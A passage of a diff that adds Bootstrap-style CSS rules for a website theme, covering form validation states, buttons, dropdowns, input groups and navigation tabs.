+input[type="checkbox"][disabled], +input[type="radio"].disabled, +input[type="checkbox"].disabled, +fieldset[disabled] input[type="radio"], +fieldset[disabled] input[type="checkbox"] { + cursor: not-allowed; +} +.radio-inline.disabled, +.checkbox-inline.disabled, +fieldset[disabled] .radio-inline, +fieldset[disabled] .checkbox-inline { + cursor: not-allowed; +} +.radio.disabled label, +.checkbox.disabled label, +fieldset[disabled] .radio label, +fieldset[disabled] .checkbox label { + cursor: not-allowed; +} +.form-control-static { + padding-top: 11px; + padding-bottom: 11px; + margin-bottom: 0; +} +.form-control-static.input-lg, +.form-control-static.input-sm { + padding-left: 0; + padding-right: 0; +} +.input-sm { + height: 31px; + padding: 5px 10px; + font-size: 13px; + line-height: 1.5; + border-radius: 0; +} +select.input-sm { + height: 31px; + line-height: 31px; +} +textarea.input-sm, +select[multiple].input-sm { + height: auto; +} +.form-group-sm .form-control { + height: 31px; + padding: 5px 10px; + font-size: 13px; + line-height: 1.5; + border-radius: 0; +} +select.form-group-sm .form-control { + height: 31px; + line-height: 31px; +} +textarea.form-group-sm .form-control, +select[multiple].form-group-sm .form-control { + height: auto; +} +.form-group-sm .form-control-static { + height: 31px; + padding: 5px 10px; + font-size: 13px; + line-height: 1.5; +} +.input-lg { + height: 64px; + padding: 18px 30px; + font-size: 19px; + line-height: 1.3333333; + border-radius: 0; +} +select.input-lg { + height: 64px; + line-height: 64px; +} +textarea.input-lg, +select[multiple].input-lg { + height: auto; +} +.form-group-lg .form-control { + height: 64px; + padding: 18px 30px; + font-size: 19px; + line-height: 1.3333333; + border-radius: 0; +} +select.form-group-lg .form-control { + height: 64px; + line-height: 64px; +} +textarea.form-group-lg .form-control, +select[multiple].form-group-lg .form-control { + height: auto; +} +.form-group-lg .form-control-static { + height: 64px; + padding: 18px 30px; + font-size: 19px; + line-height: 1.3333333; +} +.has-feedback { + position: relative; +} +.has-feedback .form-control { + padding-right: 53.75px; +} +.form-control-feedback { + position: absolute; + top: 0; + right: 0; + z-index: 2; + display: block; + width: 43px; + height: 43px; + line-height: 43px; + text-align: center; + pointer-events: none; +} +.input-lg + .form-control-feedback { + width: 64px; + height: 64px; + line-height: 64px; +} +.input-sm + .form-control-feedback { + width: 31px; + height: 31px; + line-height: 31px; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline, +.has-success.radio label, +.has-success.checkbox label, +.has-success.radio-inline label, +.has-success.checkbox-inline label { + color: #ffffff; +} +.has-success .form-control { + border-color: #ffffff; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-success .form-control:focus { + border-color: #e6e6e6; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; +} +.has-success .input-group-addon { + color: #ffffff; + border-color: #ffffff; + background-color: #3fb618; +} +.has-success .form-control-feedback { + color: #ffffff; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline, +.has-warning.radio label, +.has-warning.checkbox label, +.has-warning.radio-inline label, +.has-warning.checkbox-inline label { + color: #ffffff; +} +.has-warning .form-control { + border-color: #ffffff; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-warning .form-control:focus { + border-color: #e6e6e6; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; +} +.has-warning .input-group-addon { + color: #ffffff; + border-color: #ffffff; + background-color: #ff7518; +} +.has-warning .form-control-feedback { + color: #ffffff; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline, +.has-error.radio label, +.has-error.checkbox label, +.has-error.radio-inline label, +.has-error.checkbox-inline label { + color: #ffffff; +} +.has-error .form-control { + border-color: #ffffff; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-error .form-control:focus { + border-color: #e6e6e6; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffffff; +} +.has-error .input-group-addon { + color: #ffffff; + border-color: #ffffff; + background-color: #ff0039; +} +.has-error .form-control-feedback { + color: #ffffff; +} +.has-feedback label ~ .form-control-feedback { + top: 26px; +} +.has-feedback label.sr-only ~ .form-control-feedback { + top: 0; +} +.help-block { + display: block; + margin-top: 5px; + margin-bottom: 10px; + color: #737373; +} +@media (min-width: 768px) { + .form-inline .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-static { + display: inline-block; + } + .form-inline .input-group { + display: inline-table; + vertical-align: middle; + } + .form-inline .input-group .input-group-addon, + .form-inline .input-group .input-group-btn, + .form-inline .input-group .form-control { + width: auto; + } + .form-inline .input-group > .form-control { + width: 100%; + } + .form-inline .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio, + .form-inline .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio label, + .form-inline .checkbox label { + padding-left: 0; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .form-inline .has-feedback .form-control-feedback { + top: 0; + } +} +.form-horizontal .radio, +.form-horizontal .checkbox, +.form-horizontal .radio-inline, +.form-horizontal .checkbox-inline { + margin-top: 0; + margin-bottom: 0; + padding-top: 11px; +} +.form-horizontal .radio, +.form-horizontal .checkbox { + min-height: 32px; +} +.form-horizontal .form-group { + margin-left: -15px; + margin-right: -15px; +} +@media (min-width: 768px) { + .form-horizontal .control-label { + text-align: right; + margin-bottom: 0; + padding-top: 11px; + } +} +.form-horizontal .has-feedback .form-control-feedback { + right: 15px; +} +@media (min-width: 768px) { + .form-horizontal .form-group-lg .control-label { + padding-top: 24.9999994px; + } +} +@media (min-width: 768px) { + .form-horizontal .form-group-sm .control-label { + padding-top: 6px; + } +} +.btn { + display: inline-block; + margin-bottom: 0; + font-weight: normal; + text-align: center; + vertical-align: middle; + -ms-touch-action: manipulation; + touch-action: manipulation; + cursor: pointer; + background-image: none; + border: 1px solid transparent; + white-space: nowrap; + padding: 10px 18px; + font-size: 15px; + line-height: 1.42857143; + border-radius: 0; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.btn:focus, +.btn:active:focus, +.btn.active:focus, +.btn.focus, +.btn:active.focus, +.btn.active.focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +.btn:hover, +.btn:focus, +.btn.focus { + color: #ffffff; + text-decoration: none; +} +.btn:active, +.btn.active { + outline: 0; + background-image: none; + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); +} +.btn.disabled, +.btn[disabled], +fieldset[disabled] .btn { + cursor: not-allowed; + pointer-events: none; + opacity: 0.65; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-default { + color: #ffffff; + background-color: #222222; + border-color: #222222; +} +.btn-default:hover, +.btn-default:focus, +.btn-default.focus, +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + color: #ffffff; + background-color: #090909; + border-color: #040404; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + background-image: none; +} +.btn-default.disabled, +.btn-default[disabled], +fieldset[disabled] .btn-default, +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus, +.btn-default.disabled:active, +.btn-default[disabled]:active, +fieldset[disabled] .btn-default:active, +.btn-default.disabled.active, +.btn-default[disabled].active, +fieldset[disabled] .btn-default.active { + background-color: #222222; + border-color: #222222; +} +.btn-default .badge { + color: #222222; + background-color: #ffffff; +} +.btn-primary { + color: #ffffff; + background-color: #2780e3; + border-color: #2780e3; +} +.btn-primary:hover, +.btn-primary:focus, +.btn-primary.focus, +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + color: #ffffff; + background-color: #1967be; + border-color: #1862b5; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + background-image: none; +} +.btn-primary.disabled, +.btn-primary[disabled], +fieldset[disabled] .btn-primary, +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +fieldset[disabled] .btn-primary:active, +.btn-primary.disabled.active, +.btn-primary[disabled].active, +fieldset[disabled] .btn-primary.active { + background-color: #2780e3; + border-color: #2780e3; +} +.btn-primary .badge { + color: #2780e3; + background-color: #ffffff; +} +.btn-success { + color: #ffffff; + background-color: #3fb618; + border-color: #3fb618; +} +.btn-success:hover, +.btn-success:focus, +.btn-success.focus, +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + color: #ffffff; + background-color: #2f8912; + border-color: #2c8011; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + background-image: none; +} +.btn-success.disabled, +.btn-success[disabled], +fieldset[disabled] .btn-success, +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus, +.btn-success.disabled:active, +.btn-success[disabled]:active, +fieldset[disabled] .btn-success:active, +.btn-success.disabled.active, +.btn-success[disabled].active, +fieldset[disabled] .btn-success.active { + background-color: #3fb618; + border-color: #3fb618; +} +.btn-success .badge { + color: #3fb618; + background-color: #ffffff; +} +.btn-info { + color: #ffffff; + background-color: #9954bb; + border-color: #9954bb; +} +.btn-info:hover, +.btn-info:focus, +.btn-info.focus, +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + color: #ffffff; + background-color: #7e3f9d; + border-color: #783c96; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + background-image: none; +} +.btn-info.disabled, +.btn-info[disabled], +fieldset[disabled] .btn-info, +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus, +.btn-info.disabled:active, +.btn-info[disabled]:active, +fieldset[disabled] .btn-info:active, +.btn-info.disabled.active, +.btn-info[disabled].active, +fieldset[disabled] .btn-info.active { + background-color: #9954bb; + border-color: #9954bb; +} +.btn-info .badge { + color: #9954bb; + background-color: #ffffff; +} +.btn-warning { + color: #ffffff; + background-color: #ff7518; + border-color: #ff7518; +} +.btn-warning:hover, +.btn-warning:focus, +.btn-warning.focus, +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + color: #ffffff; + background-color: #e45c00; + border-color: #da5800; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + background-image: none; +} +.btn-warning.disabled, +.btn-warning[disabled], +fieldset[disabled] .btn-warning, +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +fieldset[disabled] .btn-warning:active, +.btn-warning.disabled.active, +.btn-warning[disabled].active, +fieldset[disabled] .btn-warning.active { + background-color: #ff7518; + border-color: #ff7518; +} +.btn-warning .badge { + color: #ff7518; + background-color: #ffffff; +} +.btn-danger { + color: #ffffff; + background-color: #ff0039; + border-color: #ff0039; +} +.btn-danger:hover, +.btn-danger:focus, +.btn-danger.focus, +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + color: #ffffff; + background-color: #cc002e; + border-color: #c2002b; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + background-image: none; +} +.btn-danger.disabled, +.btn-danger[disabled], +fieldset[disabled] .btn-danger, +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +fieldset[disabled] .btn-danger:active, +.btn-danger.disabled.active, +.btn-danger[disabled].active, +fieldset[disabled] .btn-danger.active { + background-color: #ff0039; + border-color: #ff0039; +} +.btn-danger .badge { + color: #ff0039; + background-color: #ffffff; +} +.btn-link { + color: #2780e3; + font-weight: normal; + border-radius: 0; +} +.btn-link, +.btn-link:active, +.btn-link.active, +.btn-link[disabled], +fieldset[disabled] .btn-link { + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-link, +.btn-link:hover, +.btn-link:focus, +.btn-link:active { + border-color: transparent; +} +.btn-link:hover, +.btn-link:focus { + color: #165ba8; + text-decoration: underline; + background-color: transparent; +} +.btn-link[disabled]:hover, +fieldset[disabled] .btn-link:hover, +.btn-link[disabled]:focus, +fieldset[disabled] .btn-link:focus { + color: #999999; + text-decoration: none; +} +.btn-lg, +.btn-group-lg > .btn { + padding: 18px 30px; + font-size: 19px; + line-height: 1.3333333; + border-radius: 0; +} +.btn-sm, +.btn-group-sm > .btn { + padding: 5px 10px; + font-size: 13px; + line-height: 1.5; + border-radius: 0; +} +.btn-xs, +.btn-group-xs > .btn { + padding: 1px 5px; + font-size: 13px; + line-height: 1.5; + border-radius: 0; +} +.btn-block { + display: block; + width: 100%; +} +.btn-block + .btn-block { + margin-top: 5px; +} +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} +.fade { + opacity: 0; + -webkit-transition: opacity 0.15s linear; + -o-transition: opacity 0.15s linear; + transition: opacity 0.15s linear; +} +.fade.in { + opacity: 1; +} +.collapse { + display: none; + visibility: hidden; +} +.collapse.in { + display: block; + visibility: visible; +} +tr.collapse.in { + display: table-row; +} +tbody.collapse.in { + display: table-row-group; +} +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition-property: height, visibility; + -o-transition-property: height, visibility; + transition-property: height, visibility; + -webkit-transition-duration: 0.35s; + -o-transition-duration: 0.35s; + transition-duration: 0.35s; + -webkit-transition-timing-function: ease; + -o-transition-timing-function: ease; + transition-timing-function: ease; +} +.caret { + display: inline-block; + width: 0; + height: 0; + margin-left: 2px; + vertical-align: middle; + border-top: 4px solid; + border-right: 4px solid transparent; + border-left: 4px solid transparent; +} +.dropup, +.dropdown { + position: relative; +} +.dropdown-toggle:focus { + outline: 0; +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + list-style: none; + font-size: 15px; + text-align: left; + background-color: #ffffff; + border: 1px solid #cccccc; + border: 1px solid rgba(0, 0, 0, 0.15); + border-radius: 0; + -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); + box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); + -webkit-background-clip: padding-box; + background-clip: padding-box; +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + height: 1px; + margin: 9.5px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 1.42857143; + color: #333333; + white-space: nowrap; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + text-decoration: none; + color: #ffffff; + background-color: #2780e3; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #ffffff; + text-decoration: none; + outline: 0; + background-color: #2780e3; +} +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #999999; +} +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + cursor: not-allowed; +} +.open > .dropdown-menu { + display: block; +} +.open > a { + outline: 0; +} +.dropdown-menu-right { + left: auto; + right: 0; +} +.dropdown-menu-left { + left: 0; + right: auto; +} +.dropdown-header { + display: block; + padding: 3px 20px; + font-size: 13px; + line-height: 1.42857143; + color: #999999; + white-space: nowrap; +} +.dropdown-backdrop { + position: fixed; + left: 0; + right: 0; + bottom: 0; + top: 0; + z-index: 990; +} +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + border-top: 0; + border-bottom: 4px solid; + content: ""; +} +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 2px; +} +@media (min-width: 768px) { + .navbar-right .dropdown-menu { + left: auto; + right: 0; + } + .navbar-right .dropdown-menu-left { + left: 0; + right: auto; + } +} +.btn-group, +.btn-group-vertical { + position: relative; + display: inline-block; + vertical-align: middle; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + float: left; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-left: -1px; +} +.btn-toolbar { + margin-left: -5px; +} +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: left; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-left: 5px; +} +.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { + border-radius: 0; +} +.btn-group > .btn:first-child { + margin-left: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.btn-group > .btn-group { + float: left; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} +.btn-group > .btn + .dropdown-toggle { + padding-left: 8px; + padding-right: 8px; +} +.btn-group > .btn-lg + .dropdown-toggle { + padding-left: 12px; + padding-right: 12px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); +} +.btn-group.open .dropdown-toggle.btn-link { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn .caret { + margin-left: 0; +} +.btn-lg .caret { + border-width: 5px 5px 0; + border-bottom-width: 0; +} +.dropup .btn-lg .caret { + border-width: 0 5px 5px; +} +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group, +.btn-group-vertical > .btn-group > .btn { + display: block; + float: none; + width: 100%; + max-width: 100%; +} +.btn-group-vertical > .btn-group > .btn { + float: none; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} +.btn-group-vertical > .btn:not(:first-child):not(:last-child) { + border-radius: 0; +} +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-bottom-left-radius: 0; + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.btn-group-justified { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: separate; +} +.btn-group-justified > .btn, +.btn-group-justified > .btn-group { + float: none; + display: table-cell; + width: 1%; +} +.btn-group-justified > .btn-group .btn { + width: 100%; +} +.btn-group-justified > .btn-group .dropdown-menu { + left: auto; +} +[data-toggle="buttons"] > .btn input[type="radio"], +[data-toggle="buttons"] > .btn-group > .btn input[type="radio"], +[data-toggle="buttons"] > .btn input[type="checkbox"], +[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} +.input-group { + position: relative; + display: table; + border-collapse: separate; +} +.input-group[class*="col-"] { + float: none; + padding-left: 0; + padding-right: 0; +} +.input-group .form-control { + position: relative; + z-index: 2; + float: left; + width: 100%; + margin-bottom: 0; +} +.input-group-lg > .form-control, +.input-group-lg > .input-group-addon, +.input-group-lg > .input-group-btn > .btn { + height: 64px; + padding: 18px 30px; + font-size: 19px; + line-height: 1.3333333; + border-radius: 0; +} +select.input-group-lg > .form-control, +select.input-group-lg > .input-group-addon, +select.input-group-lg > .input-group-btn > .btn { + height: 64px; + line-height: 64px; +} +textarea.input-group-lg > .form-control, +textarea.input-group-lg > .input-group-addon, +textarea.input-group-lg > .input-group-btn > .btn, +select[multiple].input-group-lg > .form-control, +select[multiple].input-group-lg > .input-group-addon, +select[multiple].input-group-lg > .input-group-btn > .btn { + height: auto; +} +.input-group-sm > .form-control, +.input-group-sm > .input-group-addon, +.input-group-sm > .input-group-btn > .btn { + height: 31px; + padding: 5px 10px; + font-size: 13px; + line-height: 1.5; + border-radius: 0; +} +select.input-group-sm > .form-control, +select.input-group-sm > .input-group-addon, +select.input-group-sm > .input-group-btn > .btn { + height: 31px; + line-height: 31px; +} +textarea.input-group-sm > .form-control, +textarea.input-group-sm > .input-group-addon, +textarea.input-group-sm > .input-group-btn > .btn, +select[multiple].input-group-sm > .form-control, +select[multiple].input-group-sm > .input-group-addon, +select[multiple].input-group-sm > .input-group-btn > .btn { + height: auto; +} +.input-group-addon, +.input-group-btn, +.input-group .form-control { + display: table-cell; +} +.input-group-addon:not(:first-child):not(:last-child), +.input-group-btn:not(:first-child):not(:last-child), +.input-group .form-control:not(:first-child):not(:last-child) { + border-radius: 0; +} +.input-group-addon, +.input-group-btn { + width: 1%; + white-space: nowrap; + vertical-align: middle; +} +.input-group-addon { + padding: 10px 18px; + font-size: 15px; + font-weight: normal; + line-height: 1; + color: #333333; + text-align: center; + background-color: #e6e6e6; + border: 1px solid #cccccc; + border-radius: 0; +} +.input-group-addon.input-sm { + padding: 5px 10px; + font-size: 13px; + border-radius: 0; +} +.input-group-addon.input-lg { + padding: 18px 30px; + font-size: 19px; + border-radius: 0; +} +.input-group-addon input[type="radio"], +.input-group-addon input[type="checkbox"] { + margin-top: 0; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.input-group-addon:first-child { + border-right: 0; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, +.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.input-group-addon:last-child { + border-left: 0; +} +.input-group-btn { + position: relative; + font-size: 0; + white-space: nowrap; +} +.input-group-btn > .btn { + position: relative; +} +.input-group-btn > .btn + .btn { + margin-left: -1px; +} +.input-group-btn > .btn:hover, +.input-group-btn > .btn:focus, +.input-group-btn > .btn:active { + z-index: 2; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-right: -1px; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + margin-left: -1px; +} +.nav { + margin-bottom: 0; + padding-left: 0; + list-style: none; +} +.nav > li { + position: relative; + display: block; +} +.nav > li > a { + position: relative; + display: block; + padding: 10px 15px; +} +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #e6e6e6; +} +.nav > li.disabled > a { + color: #999999; +} +.nav > li.disabled > a:hover, +.nav > li.disabled > a:focus { + color: #999999; + text-decoration: none; + background-color: transparent; + cursor: not-allowed; +} +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #e6e6e6; + border-color: #2780e3; +} +.nav .nav-divider { + height: 1px; + margin: 9.5px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.nav > li > a > img { + max-width: none; +} +.nav-tabs { + border-bottom: 1px solid #dddddd; +} +.nav-tabs > li { + float: left; + margin-bottom: -1px; +} +.nav-tabs > li > a { + margin-right: 2px; + line-height: 1.42857143; + border: 1px solid transparent; + border-radius: 0 0 0 0; +} +.nav-tabs > li > a:hover { + border-color: #e6e6e6 #e6e6e6 #dddddd; +} +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover, +.nav-tabs > li.active > a:focus { + color: #555555; + background-color: #ffffff; + border: 1px solid #dddddd; + border-bottom-color: transparent; + cursor: default; +} +.nav-tabs.nav-justified { + width: 100%; + border-bottom: 0; +} +.nav-tabs.nav-justified > li { + float: none; +} +.nav-tabs.nav-justified > li > a { + text-align: center; + margin-bottom: 5px; +} +.nav-tabs.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-tabs.nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs.nav-justified > li > a { + margin-right: 0; + border-radius: 0; +} +.nav-tabs.nav-justified > .active > a, +.nav-tabs.nav-justified > .active > a:hover, +.nav-tabs.nav-justified > .active > a:focus { + border: 1px solid #dddddd; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li > a { + border-bottom: 1px solid #dddddd; + border-radius: 0 0 0 0; + } + .nav-tabs.nav-justified > .active > a, + .nav-tabs.nav-justified > .active > a:hover, + .nav-tabs.nav-justified > .active > a:focus { + border-bottom-color: #ffffff; + } +} +.nav-pills > li { + float: left; +} +.nav-pills > li > a { + border-radius: 0; +} +.nav-pills > li + li { + margin-left: 2px; +} +.nav-pills > li.active > a, +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:focus { + color: #ffffff; + background-color: #2780e3; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-top: 2px; + margin-left: 0; +} +.nav-justified { + width: 100%; +} +.nav-justified > li { + float: none; +} +.nav-justified > li > a { + text-align: center; + margin-bottom: 5px; +} +.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs-justified { + border-bottom: 0; +} +.nav-tabs-justified > li > a { + margin-right: 0; + border-radius: 0; +} +.nav-tabs-justified > .active > a, +.nav-tabs-justified > .active > a:hover, +.nav-tabs-justified > .active > a:focus { + border: 1px solid #dddddd; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-bottom: 1px solid #dddddd; + border-radius: 0 0 0 0; + } + .nav-tabs-justified > .active > a, + .nav-tabs-justified > .active > a:hover, + .nav-tabs-justified > .active > a:focus { + border-bottom-color: #ffffff; + } +} +.tab-content > .tab-pane { + display: none; + visibility: hidden; +} +.tab-content > .active { + display: block; + visibility: visible; +} 